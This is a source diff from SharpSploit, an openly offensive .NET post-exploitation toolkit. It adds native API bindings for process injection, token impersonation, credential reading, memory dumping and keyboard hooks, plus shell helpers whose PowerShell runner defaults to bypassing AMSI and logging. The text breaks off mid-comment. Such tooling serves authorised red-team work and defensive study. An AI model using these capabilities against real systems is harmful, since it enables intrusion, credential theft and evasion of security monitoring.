IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER64 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt64 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt64 SizeOfStackReserve; - public UInt64 SizeOfStackCommit; - public UInt64 SizeOfHeapReserve; - public UInt64 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_FILE_HEADER - { - public UInt16 Machine; - public UInt16 NumberOfSections; - public UInt32 TimeDateStamp; - public UInt32 PointerToSymbolTable; - public UInt32 NumberOfSymbols; - public UInt16 SizeOfOptionalHeader; - public UInt16 Characteristics; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_SECTION_HEADER - { - [FieldOffset(0)] - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public char[] Name; - [FieldOffset(8)] - public UInt32 VirtualSize; - [FieldOffset(12)] - public UInt32 VirtualAddress; - [FieldOffset(16)] - public UInt32 SizeOfRawData; - [FieldOffset(20)] - public UInt32 PointerToRawData; - [FieldOffset(24)] - public UInt32 PointerToRelocations; - [FieldOffset(28)] - public UInt32 PointerToLinenumbers; - [FieldOffset(32)] - public UInt16 NumberOfRelocations; - [FieldOffset(34)] - public UInt16 NumberOfLinenumbers; - [FieldOffset(36)] - public DataSectionFlags Characteristics; - - public string Section - { - get { return new string(Name); } - } - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_EXPORT_DIRECTORY - { - [FieldOffset(0)] - public UInt32 Characteristics; - [FieldOffset(4)] - public UInt32 TimeDateStamp; - [FieldOffset(8)] - public UInt16 MajorVersion; - [FieldOffset(10)] - public UInt16 MinorVersion; - [FieldOffset(12)] - public UInt32 Name; - [FieldOffset(16)] - public UInt32 Base; - [FieldOffset(20)] - public UInt32 NumberOfFunctions; - [FieldOffset(24)] - public UInt32 NumberOfNames; - [FieldOffset(28)] - public UInt32 AddressOfFunctions; - [FieldOffset(32)] - public UInt32 AddressOfNames; - [FieldOffset(36)] - public UInt32 AddressOfOrdinals; - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - } -} diff --git a/SharpSploit/Execution/PlatformInvoke/Native.cs b/SharpSploit/Execution/PlatformInvoke/Native.cs new file mode 100644 index 0000000..284df43 --- /dev/null +++ b/SharpSploit/Execution/PlatformInvoke/Native.cs @@ -0,0 +1,103 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System; +using System.Runtime.InteropServices; + +using Execute = SharpSploit.Execution; + +namespace SharpSploit.Execution.PlatformInvoke +{ + public static class Native + { + [DllImport("ntdll.dll", SetLastError = true)] + public static extern int NtFilterToken( + IntPtr TokenHandle, + UInt32 Flags, + IntPtr SidsToDisable, + IntPtr PrivilegesToDelete, + IntPtr RestrictedSids, + ref IntPtr hToken + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern Int32 NtSetInformationToken( + IntPtr TokenHandle, + Int32 TokenInformationClass, + ref Execute.Win32.WinNT._TOKEN_MANDATORY_LABEL TokenInformation, + Int32 TokenInformationLength + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern Execute.Native.NTSTATUS NtCreateSection( + ref IntPtr SectionHandle, + uint DesiredAccess, + IntPtr ObjectAttributes, + ref ulong MaximumSize, + uint SectionPageProtection, + uint AllocationAttributes, + IntPtr FileHandle + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern Execute.Native.NTSTATUS NtMapViewOfSection( + IntPtr SectionHandle, + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + IntPtr ZeroBits, + IntPtr CommitSize, + IntPtr SectionOffset, + ref uint ViewSize, + uint InheritDisposition, + uint AllocationType, + uint Win32Protect + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern Execute.Native.NTSTATUS NtUnmapViewOfSection( + IntPtr hProc, + IntPtr baseAddr + ); + + /// + /// NTCreateThreadEx is an undocumented function. Created by Microsoft to be a universal, cross-session solution + /// for remote thread creation. + /// + /// + /// + /// + /// + /// + /// + /// + /// + /// + /// + /// + /// + [DllImport("ntdll.dll")] + public static extern IntPtr NtCreateThreadEx( + out IntPtr threadHandle, + Execute.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr processHandle, + IntPtr startAddress, + IntPtr parameter, + bool createSuspended, + int stackZeroBits, + int sizeOfStack, + int maximumStackSize, + IntPtr attributeList + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern int NtQueryInformationProcess( + IntPtr hProcess, + Execute.Native.PROCESSINFOCLASS pic, + IntPtr pi, + int cb, + out int pSize + ); + } +} diff --git a/SharpSploit/Execution/PlatformInvoke/Win32.cs b/SharpSploit/Execution/PlatformInvoke/Win32.cs new file mode 100644 index 0000000..9b38916 --- /dev/null +++ b/SharpSploit/Execution/PlatformInvoke/Win32.cs @@ -0,0 +1,686 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System; +using System.Text; +using System.Runtime.InteropServices; + +using MW32 = Microsoft.Win32; +using Execute = SharpSploit.Execution; + +namespace SharpSploit.Execution.PlatformInvoke +{ + /// + /// Win32 is a library of PInvoke signatures for Win32 API functions. + /// + /// + /// A majority of this library is adapted from signatures found at www.pinvoke.net. + /// + public static class Win32 + { + public static class Kernel32 + { + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress( + IntPtr hModule, + string procName + ); + + [DllImport("kernel32.dll")] + public static extern void GetSystemInfo( + out Execute.Win32.WinBase._SYSTEM_INFO lpSystemInfo + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GlobalSize( + IntPtr hMem + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool IsWow64Process( + IntPtr hProcess, + out bool Wow64Process + ); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess( + Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, + bool bInheritHandle, + UInt32 dwProcessId + ); + + [DllImport("kernel32.dll")] + public static extern Boolean OpenProcessToken( + IntPtr hProcess, + UInt32 dwDesiredAccess, + out IntPtr hToken + ); + + [DllImport("kernel32.dll")] + public static extern Boolean OpenThreadToken( + IntPtr ThreadHandle, + UInt32 DesiredAccess, + Boolean OpenAsSelf, + ref IntPtr TokenHandle + ); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenThread( + UInt32 dwDesiredAccess, + Boolean bInheritHandle, + UInt32 dwThreadId + ); + + [DllImport("kernel32.dll")] + public static extern int SuspendThread( + IntPtr hThread + ); + + [DllImport("kernel32.dll")] + public static extern int ResumeThread( + IntPtr hThread + ); + + [DllImport("kernel32.dll")] + static extern bool TerminateThread( + IntPtr hThread, + uint dwExitCode + ); + + [DllImport("kernel32.dll")] + public static extern Boolean ReadProcessMemory( + IntPtr hProcess, + UInt32 lpBaseAddress, + IntPtr lpBuffer, + UInt32 nSize, + ref UInt32 lpNumberOfBytesRead + ); + + [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] + public static extern Boolean ReadProcessMemory64( + IntPtr hProcess, + UInt64 lpBaseAddress, + IntPtr lpBuffer, + UInt64 nSize, + ref UInt32 lpNumberOfBytesRead + ); + + [DllImport("kernel32.dll")] + public static extern UInt32 SearchPath( + String lpPath, + String lpFileName, + String lpExtension, + UInt32 nBufferLength, + [MarshalAs(UnmanagedType.LPTStr)] + StringBuilder lpBuffer, + ref IntPtr lpFilePart + ); + + [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")] + public static extern Int32 VirtualQueryEx32( + IntPtr hProcess, + IntPtr lpAddress, + out Execute.Win32.WinNT._MEMORY_BASIC_INFORMATION32 lpBuffer, + UInt32 dwLength + ); + + [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")] + public static extern Int32 VirtualQueryEx64( + IntPtr hProcess, + IntPtr lpAddress, + out Execute.Win32.WinNT._MEMORY_BASIC_INFORMATION64 lpBuffer, + UInt32 dwLength + ); + + [DllImport("kernel32.dll")] + public static extern IntPtr VirtualAlloc( + IntPtr lpStartAddr, + uint size, + Execute.Win32.Kernel32.AllocationType flAllocationType, + uint flProtect + ); + + [DllImport("kernel32.dll")] + public static extern bool VirtualProtect( + IntPtr lpAddress, + UIntPtr dwSize, + uint flNewProtect, + out uint lpflOldProtect + ); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern IntPtr LoadLibrary( + string lpFileName + ); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateThread( + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr param, + uint dwCreationFlags, + IntPtr lpThreadId + ); + + [DllImport("kernel32.dll")] + public static extern UInt32 WaitForSingleObject( + IntPtr hHandle, + UInt32 dwMilliseconds + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr LocalFree( + IntPtr hMem + ); + + [DllImport("kernel32.dll")] + public static extern Boolean CloseHandle( + IntPtr hProcess + ); + + [DllImport("kernel32.dll")] + public static extern void GetNativeSystemInfo( + ref Execute.Win32.Kernel32.SYSTEM_INFO lpSystemInfo + ); + + [DllImport("kernel32")] + public static extern Int32 PssCaptureSnapshot( + IntPtr ProcessHandle, + Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS CaptureFlags, + Int32 ThreadContextFlags, + out IntPtr SnapshotHandle + ); + + [DllImport("kernel32")] + public static extern Int32 PssFreeSnapshot( + IntPtr ProcessHandle, + IntPtr SnapshotHandle + ); + + [DllImport("kernel32")] + public static extern Int32 PssQuerySnapshot( + IntPtr SnapshotHandle, + Execution.Win32.Kernel32.PSS_QUERY_INFORMATION_CLASS InformationClass, + out IntPtr Buffer, + Int32 BufferLength + ); + + [DllImport("kernel32")] + public static extern Int32 GetProcessId(IntPtr hObject); + } + + public static class User32 + { + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr CallNextHookEx( + IntPtr hhk, + int nCode, + IntPtr wParam, + IntPtr lParam + ); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowText( + IntPtr hWnd, + StringBuilder text, + int count + ); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr SetWindowsHookEx( + int idHook, + Execute.Win32.User32.HookProc lpfn, + IntPtr hMod, + uint dwThreadId + ); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowTextLength(IntPtr hWnd); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern short GetKeyState(int nVirtKey); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool AddClipboardFormatListener(IntPtr hwnd); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent); + } + + public static class Netapi32 + { + [DllImport("netapi32.dll")] + public static extern int NetLocalGroupEnum( + [MarshalAs(UnmanagedType.LPWStr)] string servername, + int level, + out IntPtr bufptr, + int prefmaxlen, + out int entriesread, + out int totalentries, + ref int resume_handle + ); + + [DllImport("netapi32.dll")] + public static extern int NetLocalGroupGetMembers( + [MarshalAs(UnmanagedType.LPWStr)] string servername, + [MarshalAs(UnmanagedType.LPWStr)] string localgroupname, + int level, + out IntPtr bufptr, + int prefmaxlen, + out int entriesread, + out int totalentries, + ref int resume_handle + ); + + [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern int NetWkstaUserEnum( + string servername, + int level, + out IntPtr bufptr, + int prefmaxlen, + out int entriesread, + out int totalentries, + ref int resume_handle + ); + + [DllImport("netapi32.dll", SetLastError = true)] + public static extern int NetSessionEnum( + [In, MarshalAs(UnmanagedType.LPWStr)] string ServerName, + [In, MarshalAs(UnmanagedType.LPWStr)] string UncClientName, + [In, MarshalAs(UnmanagedType.LPWStr)] string UserName, + int level, + out IntPtr bufptr, + int prefmaxlen, + out int entriesread, + out int totalentries, + ref int resume_handle + ); + + [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)] + public static extern int NetShareEnum( + StringBuilder ServerName, + int level, + ref IntPtr bufPtr, + uint prefmaxlen, + ref int entriesread, + ref int totalentries, + ref int resume_handle + ); + + [DllImport("netapi32.dll", SetLastError = true)] + public static extern int NetApiBufferFree(IntPtr Buffer); + } + + public static class Advapi32 + { + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean AdjustTokenPrivileges( + IntPtr TokenHandle, + Boolean DisableAllPrivileges, + ref Execute.Win32.WinNT._TOKEN_PRIVILEGES NewState, + UInt32 BufferLengthInBytes, + ref Execute.Win32.WinNT._TOKEN_PRIVILEGES PreviousState, + out UInt32 ReturnLengthInBytes + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean AllocateAndInitializeSid( + ref Execute.Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, + byte nSubAuthorityCount, + Int32 dwSubAuthority0, + Int32 dwSubAuthority1, + Int32 dwSubAuthority2, + Int32 dwSubAuthority3, + Int32 dwSubAuthority4, + Int32 dwSubAuthority5, + Int32 dwSubAuthority6, + Int32 dwSubAuthority7, + out IntPtr pSid + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean AllocateAndInitializeSid( + ref Execute.Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, + byte nSubAuthorityCount, + Int32 dwSubAuthority0, + Int32 dwSubAuthority1, + Int32 dwSubAuthority2, + Int32 dwSubAuthority3, + Int32 dwSubAuthority4, + Int32 dwSubAuthority5, + Int32 dwSubAuthority6, + Int32 dwSubAuthority7, + ref Execute.Win32.WinNT._SID pSid + ); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool ConvertSidToStringSid( + IntPtr Sid, + out IntPtr StringSid + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CreateProcessAsUser( + IntPtr hToken, + IntPtr lpApplicationName, + IntPtr lpCommandLine, + ref Execute.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes, + ref Execute.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes, + Boolean bInheritHandles, + Execute.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + IntPtr lpCurrentDirectory, + ref Execute.Win32.ProcessThreadsAPI._STARTUPINFO lpStartupInfo, + out Execute.Win32.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CreateProcessAsUserW( + IntPtr hToken, + IntPtr lpApplicationName, + IntPtr lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + Boolean bInheritHandles, + Execute.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + IntPtr lpCurrentDirectory, + ref Execute.Win32.ProcessThreadsAPI._STARTUPINFO lpStartupInfo, + out Execute.Win32.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo + ); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + int logonFlags, + String applicationName, + String commandLine, + int creationFlags, + IntPtr environment, + String currentDirectory, + ref Execute.Win32.ProcessThreadsAPI._STARTUPINFO startupInfo, + out Execute.Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation + ); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessWithTokenW( + IntPtr hToken, + Execute.Win32.Advapi32.LOGON_FLAGS dwLogonFlags, + string lpApplicationName, + string lpCommandLine, + Execute.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref Execute.Win32.ProcessThreadsAPI._STARTUPINFO lpStartupInfo, + out Execute.Win32.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredEnumerateW( + String Filter, + Int32 Flags, + out Int32 Count, + out IntPtr Credentials + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredFree( + IntPtr Buffer + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredReadW( + String target, + Execute.Win32.WinCred.CRED_TYPE type, + Int32 reservedFlag, + out IntPtr credentialPtr + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredWriteW( + ref Execute.Win32.WinCred._CREDENTIAL userCredential, + UInt32 flags + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DuplicateTokenEx( + IntPtr hExistingToken, + UInt32 dwDesiredAccess, + ref Execute.Win32.WinBase._SECURITY_ATTRIBUTES lpTokenAttributes, + Execute.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, + Execute.Win32.WinNT.TOKEN_TYPE TokenType, + out IntPtr phNewToken + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean GetTokenInformation( + IntPtr TokenHandle, + Execute.Win32.WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + UInt32 TokenInformationLength, + out UInt32 ReturnLength + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean GetTokenInformation( + IntPtr TokenHandle, + Execute.Win32.WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass, + ref Execute.Win32.WinNT._TOKEN_STATISTICS TokenInformation, + UInt32 TokenInformationLength, + out UInt32 ReturnLength + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateLoggedOnUser( + IntPtr hToken + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateSelf( + Execute.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool LogonUserA( + string lpszUsername, + string lpszDomain, + string lpszPassword, + Execute.Win32.Advapi32.LOGON_TYPE dwLogonType, + Execute.Win32.Advapi32.LOGON_PROVIDER dwLogonProvider, + out IntPtr phToken + ); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern bool LookupAccountSid( + String lpSystemName, + //[MarshalAs(UnmanagedType.LPArray)] + IntPtr Sid, + StringBuilder lpName, + ref UInt32 cchName, + StringBuilder ReferencedDomainName, + ref UInt32 cchReferencedDomainName, + out Execute.Win32.WinNT._SID_NAME_USE peUse + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean LookupPrivilegeName( + String lpSystemName, + IntPtr lpLuid, + StringBuilder lpName, + ref Int32 cchName + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean LookupPrivilegeValue( + String lpSystemName, + String lpName, + ref Execute.Win32.WinNT._LUID luid + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean PrivilegeCheck( + IntPtr ClientToken, + Execute.Win32.WinNT._PRIVILEGE_SET RequiredPrivileges, + out IntPtr pfResult + ); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx( + UIntPtr hKey, + String subKey, + Int32 ulOptions, + Int32 samDesired, + out UIntPtr hkResult + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern uint RegQueryValueEx( + UIntPtr hKey, + String lpValueName, + Int32 lpReserved, + ref MW32.RegistryValueKind lpType, + IntPtr lpData, + ref Int32 lpcbData + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Int32 RegQueryInfoKey( + UIntPtr hKey, + StringBuilder lpClass, + ref UInt32 lpcchClass, + IntPtr lpReserved, + out UInt32 lpcSubkey, + out UInt32 lpcchMaxSubkeyLen, + out UInt32 lpcchMaxClassLen, + out UInt32 lpcValues, + out UInt32 lpcchMaxValueNameLen, + out UInt32 lpcbMaxValueLen, + IntPtr lpSecurityDescriptor, + IntPtr lpftLastWriteTime + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean RevertToSelf(); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr OpenSCManager( + string machineName, + string databaseName, + Execute.Win32.Advapi32.SCM_ACCESS dwAccess + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr OpenService( + IntPtr hSCManager, + string lpServiceName, + Execute.Win32.Advapi32.SERVICE_ACCESS dwDesiredAccess + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr CreateService( + IntPtr hSCManager, + string lpServiceName, + string lpDisplayName, + Execute.Win32.Advapi32.SERVICE_ACCESS dwDesiredAccess, + Execute.Win32.Advapi32.SERVICE_TYPE dwServiceType, + Execute.Win32.Advapi32.SERVICE_START dwStartType, + Execute.Win32.Advapi32.SERVICE_ERROR dwErrorControl, + string lpBinaryPathName, + string lpLoadOrderGroup, + string lpdwTagId, + string lpDependencies, + string lpServiceStartName, + string lpPassword + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool DeleteService( + IntPtr hService + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool CloseServiceHandle( + IntPtr hSCObject + ); + } + + public static class Dbghelp + { + + [DllImport("dbghelp.dll", SetLastError = true)] + public static extern bool MiniDumpWriteDump( + IntPtr hProcess, + UInt32 ProcessId, + SafeHandle hFile, + Execute.Win32.Dbghelp.MINIDUMP_TYPE DumpType, + IntPtr ExceptionParam, + IntPtr UserStreamParam, + IntPtr CallbackParam + ); + } + + public static class ActiveDs + { + [DllImport("activeds.dll")] + public static extern IntPtr Init( + Int32 lnSetType, + [MarshalAs(UnmanagedType.BStr)] string bstrADsPath + ); + + [DllImport("activeds.dll")] + public static extern IntPtr Set( + Int32 lnSetType, + [MarshalAs(UnmanagedType.BStr)] string bstrADsPath + ); + + [DllImport("activeds.dll")] + public static extern IntPtr Get( + Int32 lnSetType, + [MarshalAs(UnmanagedType.BStr)] ref string pbstrADsPath + ); + + [DllImport("activeds.dll")] + public static extern IntPtr InitEx( + Int32 lnSetType, + [MarshalAs(UnmanagedType.BStr)] string bstrADsPath, + [MarshalAs(UnmanagedType.BStr)] string bstrUserID, + [MarshalAs(UnmanagedType.BStr)] string bstrDomain, + [MarshalAs(UnmanagedType.BStr)] string bstrPassword + ); + + [DllImport("activeds.dll")] + public static extern IntPtr put_ChaseReferral( + Int32 lnChangeReferral + ); + } + + public class Secur32 + { + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint LsaGetLogonSessionData( + IntPtr luid, + out IntPtr ppLogonSessionData + ); + } + } +} diff --git a/SharpSploit/Execution/Shell.cs b/SharpSploit/Execution/Shell.cs index 8e1bb76..84c891a 100644 --- a/SharpSploit/Execution/Shell.cs +++ b/SharpSploit/Execution/Shell.cs @@ -3,11 +3,18 @@ // License: BSD 3-Clause using System; +using System.Text; using System.Linq; +using System.IO; +using System.IO.Pipes; +using System.Threading; using System.Reflection; using System.Diagnostics; +using System.ComponentModel; using System.Management.Automation; -using System.Text; +using System.Runtime.InteropServices; + +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Execution { @@ -31,7 +38,7 @@ public class Shell /// public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) { - if (PowerShellCode == null || PowerShellCode == "") return ""; + if (string.IsNullOrEmpty(PowerShellCode)) { return ""; } using (PowerShell ps = PowerShell.Create()) { @@ -56,92 +63,341 @@ public static string PowerShellExecute(string PowerShellCode, bool OutString = t } ps.AddScript(PowerShellCode); if (OutString) { ps.AddCommand("Out-String"); } - var results = ps.Invoke(); - string output = String.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); + PSDataCollection results = new PSDataCollection(); + ps.Streams.Error.DataAdded += (sender, e) => + { + Console.WriteLine("Error"); + foreach (ErrorRecord er in ps.Streams.Error.ReadAll()) + { + results.Add(er); + } + }; + ps.Streams.Verbose.DataAdded += (sender, e) => + { + foreach (VerboseRecord vr in ps.Streams.Verbose.ReadAll()) + { + results.Add(vr); + } + }; + ps.Streams.Debug.DataAdded += (sender, e) => + { + foreach (DebugRecord dr in ps.Streams.Debug.ReadAll()) + { + results.Add(dr); + } + }; + ps.Streams.Warning.DataAdded += (sender, e) => + { + foreach (WarningRecord wr in ps.Streams.Warning) + { + results.Add(wr); + } + }; + ps.Invoke(null, results); + string output = string.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); ps.Commands.Clear(); return output; } } /// - /// Executes a specified Shell command, optionally with an alternative username and password. - /// Equates to `ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32")`. + /// Creates a specificed process, optionally with an alternative username and password. + /// Equates to `ExecuteWithPath(ShellCommand, Environment.CurrentDirectory, false)`. + /// + /// The Command to execute, including any arguments. + /// Optional alternative username to execute ShellCommand as. + /// Optional alternative Domain of the username to execute ShellCommand as. + /// Optional password to authenticate the username to execute the ShellCommand as. + /// Output of the created process. + public static string CreateProcess(string Command, string Username = "", string Domain = "", string Password = "") + { + return Execute(Command, false, Username, Domain, Password); + } + + /// + /// Creates a specificed process, optionally with an alternative username and password. + /// Equates to `CreateProcess("cmd.exe /c " + ShellCommand)`. + /// + /// The Command to execute, including any arguments. + /// Optional alternative username to execute ShellCommand as. + /// Optional alternative Domain of the username to execute ShellCommand as. + /// Optional password to authenticate the username to execute the ShellCommand as. + /// Output of the created process. + public static string CreateCmdProcess(string Command, string Username = "", string Domain = "", string Password = "") + { + return CreateProcess("cmd.exe /c " + Command, Username, Domain, Password); + } + + /// + /// Executes a specified shell command, optionally with an alternative username and password. + /// Equates to `ExecuteWithPath(ShellCommand, Environment.CurrentDirectory)`. /// /// The ShellCommand to execute, including any arguments. /// Optional alternative username to execute ShellCommand as. /// Optional alternative Domain of the username to execute ShellCommand as. /// Optional password to authenticate the username to execute the ShellCommand as. - /// Ouput of the ShellCommand. + /// Empty string, no output is captured when UseShellExecute is true. public static string ShellExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "") { - return ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32\\", Username, Domain, Password); + return Execute(ShellCommand, true, Username, Domain, Password); } /// - /// Executes a specified Shell command using cmd.exe, optionally with an alternative username and password. + /// Executes a specified shell command, optionally with an alternative username and password. /// Equates to `ShellExecute("cmd.exe /c " + ShellCommand)`. /// /// 